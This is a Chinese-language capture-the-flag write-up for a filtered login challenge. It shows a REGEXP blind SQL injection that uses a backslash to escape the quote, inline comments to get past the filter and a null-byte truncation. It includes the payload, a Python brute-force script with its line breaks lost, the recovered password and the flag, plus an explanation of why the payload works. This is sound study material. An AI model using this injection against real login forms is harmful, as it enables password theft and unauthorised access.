打开是一个登录页面,尝试登录发现有过滤

利用bp fuzz一下发现大多部分的函数都被过滤
在Kali利用dirsearch扫描一下网站目录发现了 robots.txt文件
访问robots.txt发现有hint.txt,进行读取也发现了大量字符和函数被过滤掉,但是发现了只要$_POST[‘passwd’] === admin’s password就可以获得flag

因为很多关键字都被过滤掉,所以要利用 regexp 注入的方式
构造payload:
username=\&passwd=||passwd/**/regexp"^y";%00
利用python脚本获取:
import requestsfrom urllib import parseimport stringurl = 'http://bf0eb34d-458a-458d-9317-1ddd49bc3fd0.node4.buuoj.cn:81/'num = 0result = ''string= string.ascii_lowercase + string.digits + '_'#密码由小写字母 数字 下划线组成(实验证明for i in range (1,60):if num == 1 :breakfor j in string:data = {"username":"\\",#"\"转义"\""passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((result+j),parse.unquote('%00'))}print(result+j)res = requests.post(url=url,data=data)if 'welcome' in res.text:result += jbreakif j=='_' and 'welcome' not in res.text:break
获得passwd:
you_will_never_know7788990
登录得到Flag:
flag{0dc70fc3-143f-4e69-935c-99318dd60f6b}
补充知识
regexp盲注
在sql语句中
select database(); // 是输出当前打开的是数据库名
select database() regexp”^d”; // 这样可以匹配数据库名的开头是 d
是就会返回 1 不是则返回0

当sql语句是这样
select * from users where user=’’||password;
通过 ‘’||passwor dregexp”^8d” 的方式 不断匹配出数据当中 password的值
构造payload
username=\&passwd=||passwd/**/regexp"^y";%00
为什么要这么构造
页面上回显的sql语句select * from users where username='' and passwd=''我们通过username 传入 \ 这样可以把'转义掉 变成这样select * from users where username='\' and passwd=''此时的 \' and passwd=' 就成了 username的值在通过传入 passwd 传入 ||passwd/**/regexp"^y";%00select * from users where username='\' and passwd='||passwd/**/regexp"^y";%00'就和前置知识类似了select * from users where username=''||passwd/**/regexp"^y";%00'后边的%00相当于截断了后边的字符,看了下php 对应版本为 5.2.16,存在截断漏洞,接下来只需要遍历 regexp"^x" 中的 x即可
payload:
select * from users where username='\' and passwd='||/**/passwd/**/regexp/**/\"^a\";%00'
使’ and passwd=变成了我们提交的用户名 而密码||(手动内敛注释passwd(手动内敛注释regexp(手动内敛注释”^a”;%00’变成了数字型注入 也就是没有单引号 而;%00在url中也是注释的意思(或者说截断,也就是把最后的单引号也给注释了
